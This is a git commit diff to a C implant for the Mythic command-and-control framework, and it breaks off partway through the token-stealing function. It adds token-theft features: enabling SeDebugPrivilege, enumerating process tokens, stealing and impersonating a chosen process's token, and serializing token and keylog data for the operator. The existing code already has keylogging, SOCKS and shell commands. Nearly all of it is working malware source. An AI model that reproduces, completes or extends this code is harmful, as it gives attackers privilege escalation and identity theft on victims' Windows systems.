Tokens activity implemented
This commit is contained in:
@@ -83,6 +83,26 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
|
|||||||
_inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
|
_inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea);
|
||||||
StopKeylogger(analizadorTarea);
|
StopKeylogger(analizadorTarea);
|
||||||
_inf("===== KEYLOG_STOP_CMD COMPLETED =====");
|
_inf("===== KEYLOG_STOP_CMD COMPLETED =====");
|
||||||
|
} else if (tarea == LIST_TOKENS_CMD) {
|
||||||
|
_inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea);
|
||||||
|
ListarTokens(analizadorTarea);
|
||||||
|
_inf("===== LIST_TOKENS_CMD COMPLETED =====");
|
||||||
|
} else if (tarea == STEAL_TOKEN_CMD) {
|
||||||
|
_inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea);
|
||||||
|
RobarToken(analizadorTarea);
|
||||||
|
_inf("===== STEAL_TOKEN_CMD COMPLETED =====");
|
||||||
|
} else if (tarea == MAKE_TOKEN_CMD) {
|
||||||
|
_inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea);
|
||||||
|
CrearToken(analizadorTarea);
|
||||||
|
_inf("===== MAKE_TOKEN_CMD COMPLETED =====");
|
||||||
|
} else if (tarea == REV2SELF_CMD) {
|
||||||
|
_inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea);
|
||||||
|
RevertirToken(analizadorTarea);
|
||||||
|
_inf("===== REV2SELF_CMD COMPLETED =====");
|
||||||
|
} else if (tarea == WHOAMI_CMD) {
|
||||||
|
_inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea);
|
||||||
|
ObtenerUsuarioActual(analizadorTarea);
|
||||||
|
_inf("===== WHOAMI_CMD COMPLETED =====");
|
||||||
} else {
|
} else {
|
||||||
_wrn("Tarea desconocida: 0x%02x", tarea);
|
_wrn("Tarea desconocida: 0x%02x", tarea);
|
||||||
// liberar analizador si no será usado por otro handler
|
// liberar analizador si no será usado por otro handler
|
||||||
|
|||||||
@@ -12,6 +12,7 @@
|
|||||||
#include "SistemadeFicheros.h"
|
#include "SistemadeFicheros.h"
|
||||||
#include "screenshot.h"
|
#include "screenshot.h"
|
||||||
#include "keylog.h"
|
#include "keylog.h"
|
||||||
|
#include "tokens.h"
|
||||||
|
|
||||||
#define SHELL_CMD 0x54
|
#define SHELL_CMD 0x54
|
||||||
#define GET_TASKING 0x00
|
#define GET_TASKING 0x00
|
||||||
@@ -41,6 +42,13 @@
|
|||||||
#define START_SOCKS_CMD 0x60
|
#define START_SOCKS_CMD 0x60
|
||||||
#define STOP_SOCKS_CMD 0x61
|
#define STOP_SOCKS_CMD 0x61
|
||||||
|
|
||||||
|
/* Token commands */
|
||||||
|
#define LIST_TOKENS_CMD 0x32
|
||||||
|
#define STEAL_TOKEN_CMD 0x33
|
||||||
|
#define MAKE_TOKEN_CMD 0x34
|
||||||
|
#define REV2SELF_CMD 0x35
|
||||||
|
#define WHOAMI_CMD 0x36
|
||||||
|
|
||||||
/* Extension marker to carry SOCKS array in binary messages */
|
/* Extension marker to carry SOCKS array in binary messages */
|
||||||
#define SOCKS_BLOCK_MARKER 0xF5
|
#define SOCKS_BLOCK_MARKER 0xF5
|
||||||
|
|
||||||
|
|||||||
@@ -514,7 +514,8 @@ BOOL addInt64(PPaquete paquete, UINT64 valor) {
|
|||||||
if (!paquete->buffer) {
|
if (!paquete->buffer) {
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor);
|
// Write at the end of the buffer (paquete->length offset)
|
||||||
|
addInt64ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
|
||||||
paquete->length += sizeof(UINT64);
|
paquete->length += sizeof(UINT64);
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
@@ -785,4 +786,85 @@ VOID addKeylog(PPaquete paquete, PCHAR user, PCHAR window_title, PCHAR keystroke
|
|||||||
SIZE_T keys_len = strlen(keystrokes);
|
SIZE_T keys_len = strlen(keystrokes);
|
||||||
addInt32(paquete, (UINT32)keys_len);
|
addInt32(paquete, (UINT32)keys_len);
|
||||||
addString(paquete, keystrokes, FALSE);
|
addString(paquete, keystrokes, FALSE);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Helper function to add token to response packages
|
||||||
|
// Format: [0xF4 marker][token_id:4][host_len:4][host][description_len:4][description][user_len:4][user][groups_len:4][groups][thread_id:4][process_id:4][default_dacl_len:4][default_dacl][session_id:4][restricted:1][capabilities_len:4][capabilities][logon_sid_len:4][logon_sid][integrity_level_sid:4][app_container_number:4][app_container_sid_len:4][app_container_sid][privileges_len:4][privileges][handle:8]
|
||||||
|
// All optional fields use length-prefixed strings, integers are big-endian
|
||||||
|
VOID addToken(PPaquete paquete, UINT32 token_id, PCHAR host, PCHAR description, PCHAR user, PCHAR groups,
|
||||||
|
UINT32 thread_id, UINT32 process_id, PCHAR default_dacl, UINT32 session_id, BOOL restricted,
|
||||||
|
PCHAR capabilities, PCHAR logon_sid, UINT32 integrity_level_sid, UINT32 app_container_number,
|
||||||
|
PCHAR app_container_sid, PCHAR privileges, UINT64 handle) {
|
||||||
|
if (!paquete) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Token marker (0xF4)
|
||||||
|
addByte(paquete, 0xF4);
|
||||||
|
|
||||||
|
// Required: token_id
|
||||||
|
addInt32(paquete, token_id);
|
||||||
|
|
||||||
|
// Optional fields - use empty string if NULL
|
||||||
|
#define ADD_OPT_STRING(str) do { \
|
||||||
|
if (str) { \
|
||||||
|
SIZE_T len = strlen(str); \
|
||||||
|
addInt32(paquete, (UINT32)len); \
|
||||||
|
addString(paquete, str, FALSE); \
|
||||||
|
} else { \
|
||||||
|
addInt32(paquete, 0); \
|
||||||
|
} \
|
||||||
|
} while(0)
|
||||||
|
|
||||||
|
ADD_OPT_STRING(host);
|
||||||
|
ADD_OPT_STRING(description);
|
||||||
|
ADD_OPT_STRING(user);
|
||||||
|
ADD_OPT_STRING(groups);
|
||||||
|
|
||||||
|
addInt32(paquete, thread_id);
|
||||||
|
addInt32(paquete, process_id);
|
||||||
|
|
||||||
|
ADD_OPT_STRING(default_dacl);
|
||||||
|
addInt32(paquete, session_id);
|
||||||
|
addByte(paquete, restricted ? 1 : 0);
|
||||||
|
|
||||||
|
ADD_OPT_STRING(capabilities);
|
||||||
|
ADD_OPT_STRING(logon_sid);
|
||||||
|
addInt32(paquete, integrity_level_sid);
|
||||||
|
addInt32(paquete, app_container_number);
|
||||||
|
|
||||||
|
ADD_OPT_STRING(app_container_sid);
|
||||||
|
ADD_OPT_STRING(privileges);
|
||||||
|
|
||||||
|
// Handle as 8-byte integer (UINT64)
|
||||||
|
addInt64(paquete, handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Helper function to add callback token (register/unregister token for use in tasking)
|
||||||
|
// Format: [0xF3 marker][action_len:4][action][host_len:4][host][token_id:4]
|
||||||
|
// action must be "add" or "remove"
|
||||||
|
VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id) {
|
||||||
|
if (!paquete || !action) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Callback token marker (0xF3)
|
||||||
|
addByte(paquete, 0xF3);
|
||||||
|
|
||||||
|
// Action length and value ("add" or "remove")
|
||||||
|
SIZE_T action_len = strlen(action);
|
||||||
|
addInt32(paquete, (UINT32)action_len);
|
||||||
|
addString(paquete, action, FALSE);
|
||||||
|
|
||||||
|
// Host (optional - use empty string if NULL)
|
||||||
|
if (host) {
|
||||||
|
SIZE_T host_len = strlen(host);
|
||||||
|
addInt32(paquete, (UINT32)host_len);
|
||||||
|
addString(paquete, host, FALSE);
|
||||||
|
} else {
|
||||||
|
addInt32(paquete, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Token ID
|
||||||
|
addInt32(paquete, token_id);
|
||||||
}
|
}
|
||||||
@@ -56,4 +56,20 @@ VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32
|
|||||||
/* action must be "add" or "remove", cmd is the command name */
|
/* action must be "add" or "remove", cmd is the command name */
|
||||||
VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd);
|
VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd);
|
||||||
|
|
||||||
|
/* Keylog helper: for reporting keystrokes to Mythic */
|
||||||
|
/* Format: [0xF6 marker][user_len:4][user][title_len:4][title][keys_len:4][keystrokes] */
|
||||||
|
VOID addKeylog(PPaquete paquete, PCHAR user, PCHAR window_title, PCHAR keystrokes);
|
||||||
|
|
||||||
|
/* Token helper: for reporting tokens to Mythic (viewable in Search -> Tokens) */
|
||||||
|
/* Format: [0xF4 marker][token_id:4][host_len:4][host][description_len:4][description][user_len:4][user][groups_len:4][groups][thread_id:4][process_id:4][default_dacl_len:4][default_dacl][session_id:4][restricted:1][capabilities_len:4][capabilities][logon_sid_len:4][logon_sid][integrity_level_sid:4][app_container_number:4][app_container_sid_len:4][app_container_sid][privileges_len:4][privileges][handle:8] */
|
||||||
|
VOID addToken(PPaquete paquete, UINT32 token_id, PCHAR host, PCHAR description, PCHAR user, PCHAR groups,
|
||||||
|
UINT32 thread_id, UINT32 process_id, PCHAR default_dacl, UINT32 session_id, BOOL restricted,
|
||||||
|
PCHAR capabilities, PCHAR logon_sid, UINT32 integrity_level_sid, UINT32 app_container_number,
|
||||||
|
PCHAR app_container_sid, PCHAR privileges, UINT64 handle);
|
||||||
|
|
||||||
|
/* Callback token helper: for registering/unregistering tokens for use in tasking */
|
||||||
|
/* Format: [0xF3 marker][action_len:4][action][host_len:4][host][token_id:4] */
|
||||||
|
/* action must be "add" or "remove" */
|
||||||
|
VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -0,0 +1,889 @@
|
|||||||
|
#undef UNICODE
|
||||||
|
#include <windows.h>
|
||||||
|
#include "tokens.h"
|
||||||
|
#include "paquete.h"
|
||||||
|
#include "analizador.h"
|
||||||
|
#include "identity.h"
|
||||||
|
#include "debug.h"
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
#include <psapi.h>
|
||||||
|
|
||||||
|
// Global token handle for impersonation (similar to Xenon's gIdentityToken)
|
||||||
|
static HANDLE gImpersonationToken = NULL;
|
||||||
|
|
||||||
|
// Forward declarations
|
||||||
|
BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Enable SeDebugPrivilege to allow opening system processes
|
||||||
|
* This is required to list tokens from SYSTEM and other high-privilege processes
|
||||||
|
* Based on common Windows privilege escalation pattern
|
||||||
|
*/
|
||||||
|
BOOL EnableSeDebugPrivilege(VOID) {
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
TOKEN_PRIVILEGES tokenPriv = {0};
|
||||||
|
LUID luid = {0};
|
||||||
|
|
||||||
|
// Open the process token
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||||
|
_err("[EnableSeDebugPrivilege] No se pudo abrir token del proceso. Código: %lu", GetLastError());
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Lookup the LUID for SeDebugPrivilege
|
||||||
|
if (!LookupPrivilegeValueA(NULL, SE_DEBUG_NAME, &luid)) {
|
||||||
|
_err("[EnableSeDebugPrivilege] No se pudo buscar SeDebugPrivilege. Código: %lu", GetLastError());
|
||||||
|
CloseHandle(hToken);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set up the privilege structure
|
||||||
|
tokenPriv.PrivilegeCount = 1;
|
||||||
|
tokenPriv.Privileges[0].Luid = luid;
|
||||||
|
tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
|
||||||
|
// Enable the privilege
|
||||||
|
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
|
||||||
|
_err("[EnableSeDebugPrivilege] No se pudo ajustar privilegios. Código: %lu", GetLastError());
|
||||||
|
CloseHandle(hToken);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check if privilege was actually enabled
|
||||||
|
DWORD lastError = GetLastError();
|
||||||
|
if (lastError == ERROR_NOT_ALL_ASSIGNED) {
|
||||||
|
_wrn("[EnableSeDebugPrivilege] SeDebugPrivilege no está disponible en este token");
|
||||||
|
CloseHandle(hToken);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hToken);
|
||||||
|
_inf("[EnableSeDebugPrivilege] SeDebugPrivilege habilitado exitosamente");
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief List all available tokens from running processes
|
||||||
|
* Reports tokens using addToken() helper for Mythic integration
|
||||||
|
*/
|
||||||
|
VOID ListarTokens(PAnalizador argumentos) {
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
|
||||||
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuesta, tareaUuid, FALSE);
|
||||||
|
|
||||||
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
|
||||||
|
// Enable SeDebugPrivilege to access system processes
|
||||||
|
BOOL debugEnabled = EnableSeDebugPrivilege();
|
||||||
|
if (!debugEnabled) {
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "[list_tokens] Advertencia: No se pudo habilitar SeDebugPrivilege. Solo se mostrarán tokens accesibles.\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
if (toolhelp == INVALID_HANDLE_VALUE) {
|
||||||
|
PackageAddFormatPrintf(salida, FALSE, "[list_tokens] Error: No se pudo crear snapshot de procesos. Código: %lu\n", GetLastError());
|
||||||
|
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
mandarPaquete(respuesta);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
liberarPaquete(respuesta);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
|
||||||
|
UINT32 token_counter = 1; // Start from 1 (agent-generated token_id)
|
||||||
|
DWORD current_pid = GetCurrentProcessId();
|
||||||
|
char hostname[MAX_COMPUTERNAME_LENGTH + 1] = {0};
|
||||||
|
DWORD hostname_len = sizeof(hostname);
|
||||||
|
GetComputerNameA(hostname, &hostname_len);
|
||||||
|
|
||||||
|
if (Process32First(toolhelp, &pe)) {
|
||||||
|
do {
|
||||||
|
// Skip current process to avoid issues
|
||||||
|
if (pe.th32ProcessID == current_pid) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try with full access first (requires SeDebugPrivilege for system processes)
|
||||||
|
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
|
||||||
|
if (!hProcess) {
|
||||||
|
// Try with limited information if full access fails
|
||||||
|
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID);
|
||||||
|
if (!hProcess) {
|
||||||
|
continue; // Skip if we can't open the process
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
|
||||||
|
char user_info[512] = {0};
|
||||||
|
char account_name[256] = {0};
|
||||||
|
char domain_name[256] = {0};
|
||||||
|
|
||||||
|
BOOL got_user = obtenerNombreDelToken(hProcess, user_info, sizeof(user_info));
|
||||||
|
if (got_user) {
|
||||||
|
// Parse user_info as "DOMAIN\USER"
|
||||||
|
char* backslash = strchr(user_info, '\\');
|
||||||
|
if (backslash) {
|
||||||
|
SIZE_T domain_len = backslash - user_info;
|
||||||
|
memcpy(domain_name, user_info, domain_len);
|
||||||
|
strcpy(account_name, backslash + 1);
|
||||||
|
} else {
|
||||||
|
strcpy(account_name, user_info);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD session_id = 0;
|
||||||
|
ProcessIdToSessionId(pe.th32ProcessID, &session_id);
|
||||||
|
|
||||||
|
DWORD thread_id = 0; // We don't have thread info, use 0
|
||||||
|
|
||||||
|
// Get token handle value (cast to UINT64)
|
||||||
|
UINT64 token_handle = (UINT64)(ULONG_PTR)hToken;
|
||||||
|
|
||||||
|
// Build output text first (include process name from pe.szExeFile)
|
||||||
|
PackageAddFormatPrintf(salida, FALSE,
|
||||||
|
"Token ID: %lu | PID: %lu | Process: %s | User: %s | Session: %lu\n",
|
||||||
|
token_counter, pe.th32ProcessID, pe.szExeFile, user_info, session_id);
|
||||||
|
|
||||||
|
// Store token info for later (we'll add tokens after output)
|
||||||
|
// For now, we'll add tokens after the output text
|
||||||
|
|
||||||
|
token_counter++;
|
||||||
|
|
||||||
|
CloseHandle(hToken);
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
} while (Process32Next(toolhelp, &pe));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Add output text FIRST (before markers)
|
||||||
|
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
|
// Now add tokens AFTER output text
|
||||||
|
// Re-iterate to add tokens (we need to do this again because we need the tokens after output)
|
||||||
|
CloseHandle(toolhelp);
|
||||||
|
token_counter = 1;
|
||||||
|
toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||||
|
if (toolhelp == INVALID_HANDLE_VALUE) {
|
||||||
|
mandarPaquete(respuesta);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
liberarPaquete(respuesta);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Process32First(toolhelp, &pe)) {
|
||||||
|
do {
|
||||||
|
if (pe.th32ProcessID == current_pid) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try with full access first (requires SeDebugPrivilege for system processes)
|
||||||
|
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
|
||||||
|
if (!hProcess) {
|
||||||
|
// Try with limited information if full access fails
|
||||||
|
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID);
|
||||||
|
if (!hProcess) {
|
||||||
|
continue; // Skip if we can't open the process
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) {
|
||||||
|
char user_info[512] = {0};
|
||||||
|
char account_name[256] = {0};
|
||||||
|
char domain_name[256] = {0};
|
||||||
|
|
||||||
|
BOOL got_user = obtenerNombreDelToken(hProcess, user_info, sizeof(user_info));
|
||||||
|
if (got_user) {
|
||||||
|
char* backslash = strchr(user_info, '\\');
|
||||||
|
if (backslash) {
|
||||||
|
SIZE_T domain_len = backslash - user_info;
|
||||||
|
memcpy(domain_name, user_info, domain_len);
|
||||||
|
strcpy(account_name, backslash + 1);
|
||||||
|
} else {
|
||||||
|
strcpy(account_name, user_info);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD session_id = 0;
|
||||||
|
ProcessIdToSessionId(pe.th32ProcessID, &session_id);
|
||||||
|
|
||||||
|
DWORD thread_id = 0;
|
||||||
|
UINT64 token_handle = (UINT64)(ULONG_PTR)hToken;
|
||||||
|
|
||||||
|
// Add token to response (AFTER output text)
|
||||||
|
addToken(respuesta, token_counter, hostname, "", account_name, domain_name,
|
||||||
|
thread_id, pe.th32ProcessID, "", session_id, FALSE,
|
||||||
|
"", "", 0, 0, "", "", token_handle);
|
||||||
|
|
||||||
|
token_counter++;
|
||||||
|
|
||||||
|
CloseHandle(hToken);
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
} while (Process32Next(toolhelp, &pe));
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(toolhelp);
|
||||||
|
mandarPaquete(respuesta);
|
||||||
|
liberarPaquete(salida);
|
||||||
|
liberarPaquete(respuesta);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Steal token from a process and impersonate it
|
||||||
|
* Based on Xenon's TokenSteal implementation
|
||||||
|
* Reference: https://github.com/kyxiaxiang/Beacon_Source/blob/main/Beacon/identity.c#L65
|
||||||
|
*/
|
||||||
|
VOID RobarToken(PAnalizador argumentos) {
|
||||||
|
// For input_type=string commands, format is: [UUID:length_prefixed][nbArg:4][param1:length_prefixed][param2:length_prefixed]...
|
||||||
|
SIZE_T tamanoUuid = 36;
|
||||||
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
UINT32 nbArg = getInt32(argumentos);
|
||||||
|
|
||||||
|
// Enable SeDebugPrivilege to access system processes
|
||||||
|
BOOL debugEnabled = EnableSeDebugPrivilege();
|
||||||
|
if (!debugEnabled) {
|
||||||
|
_wrn("[steal_token] No se pudo habilitar SeDebugPrivilege. Puede fallar con procesos del sistema.");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (nbArg < 1) {
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: Se requiere PID\n");
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// PID comes as a string parameter (input_type=string means all params are strings)
|
||||||
|
SIZE_T pid_len = 0;
|
||||||
|
PCHAR pid_str = getString(argumentos, &pid_len);
|
||||||
|
|
||||||
|
// Convert PID string to integer
|
||||||
|
UINT32 pid = 0;
|
||||||
|
if (pid_str && pid_len > 0) {
|
||||||
|
// Null-terminate the PID string for atoi
|
||||||
|
char pid_buffer[32] = {0};
|
||||||
|
SIZE_T copy_len = (pid_len < sizeof(pid_buffer) - 1) ? pid_len : sizeof(pid_buffer) - 1;
|
||||||
|
memcpy(pid_buffer, pid_str, copy_len);
|
||||||
|
pid_buffer[copy_len] = '\0';
|
||||||
|
pid = (UINT32)atoi(pid_buffer);
|
||||||
|
_inf("[steal_token] PID string recibido: '%.*s', convertido a: %lu", (int)pid_len, pid_str, pid);
|
||||||
|
if (pid_str) {
|
||||||
|
LocalFree(pid_str);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo leer PID del buffer\n");
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
_inf("[steal_token] Intentando robar token del PID: %lu", pid);
|
||||||
|
|
||||||
|
// Validate PID (Windows PIDs typically start from 4, with 4 being System)
|
||||||
|
if (pid == 0 || pid == 2) {
|
||||||
|
// PID 0 and 2 are reserved/invalid
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: PID %lu no es válido (PIDs 0 y 2 están reservados)\n", pid);
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Open process - Xenon uses PROCESS_QUERY_INFORMATION
|
||||||
|
// Try with PROCESS_QUERY_INFORMATION first (requires SeDebugPrivilege for system processes)
|
||||||
|
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
|
||||||
|
if (!hProcess) {
|
||||||
|
DWORD firstError = GetLastError();
|
||||||
|
_wrn("[steal_token] OpenProcess con PROCESS_QUERY_INFORMATION falló. Código: %lu. Intentando con PROCESS_QUERY_LIMITED_INFORMATION", firstError);
|
||||||
|
|
||||||
|
// Try with limited information
|
||||||
|
hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||||
|
if (!hProcess) {
|
||||||
|
DWORD finalError = GetLastError();
|
||||||
|
_err("[steal_token] No se pudo abrir proceso %lu. Primer intento (PROCESS_QUERY_INFORMATION): %lu, segundo intento (PROCESS_QUERY_LIMITED_INFORMATION): %lu", pid, firstError, finalError);
|
||||||
|
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo abrir proceso %lu. Código: %lu (Intentos: PROCESS_QUERY_INFORMATION=%lu, PROCESS_QUERY_LIMITED_INFORMATION=%lu)\n", pid, finalError, firstError, finalError);
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
} else {
|
||||||
|
_inf("[steal_token] Proceso abierto con PROCESS_QUERY_LIMITED_INFORMATION");
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
_inf("[steal_token] Proceso abierto con PROCESS_QUERY_INFORMATION");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Open token - Xenon uses TOKEN_ALL_ACCESS (requires SeDebugPrivilege for system processes)
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
DWORD desiredAccess = debugEnabled ? TOKEN_ALL_ACCESS : (TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE);
|
||||||
|
|
||||||
|
_inf("[steal_token] Intentando abrir token con acceso: 0x%08lX (debugEnabled=%d)", desiredAccess, debugEnabled);
|
||||||
|
|
||||||
|
if (!OpenProcessToken(hProcess, desiredAccess, &hToken)) {
|
||||||
|
DWORD firstError = GetLastError();
|
||||||
|
_wrn("[steal_token] OpenProcessToken con acceso 0x%08lX falló. Código: %lu", desiredAccess, firstError);
|
||||||
|
|
||||||
|
// If TOKEN_ALL_ACCESS failed, try with granular permissions
|
||||||
|
if (desiredAccess == TOKEN_ALL_ACCESS) {
|
||||||
|
desiredAccess = TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_IMPERSONATE;
|
||||||
|
_inf("[steal_token] Intentando con acceso granular: 0x%08lX", desiredAccess);
|
||||||
|
if (!OpenProcessToken(hProcess, desiredAccess, &hToken)) {
|
||||||
|
DWORD secondError = GetLastError();
|
||||||
|
_wrn("[steal_token] OpenProcessToken con acceso 0x%08lX falló. Código: %lu", desiredAccess, secondError);
|
||||||
|
|
||||||
|
desiredAccess = TOKEN_DUPLICATE | TOKEN_QUERY;
|
||||||
|
_inf("[steal_token] Intentando con acceso mínimo: 0x%08lX", desiredAccess);
|
||||||
|
if (!OpenProcessToken(hProcess, desiredAccess, &hToken)) {
|
||||||
|
DWORD finalError = GetLastError();
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
_err("[steal_token] Todos los intentos de OpenProcessToken fallaron. Primer error: %lu, segundo: %lu, final: %lu", firstError, secondError, finalError);
|
||||||
|
|
||||||
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
PPaquete salidaError = nuevoPaquete(0, FALSE);
|
||||||
|
PackageAddFormatPrintf(salidaError, FALSE, "[steal_token] Error: No se pudo abrir token. Código: %lu (Intentos: TOKEN_ALL_ACCESS=%lu, TOKEN_DUPLICATE|QUERY|IMPERSONATE=%lu, TOKEN_DUPLICATE|QUERY=%lu)\n", finalError, firstError, secondError, finalError);
|
||||||
|
addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE);
|
||||||
|
mandarPaquete(respuestaError);
|
||||||
|
liberarPaquete(salidaError);
|
||||||
|
liberarPaquete(respuestaError);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
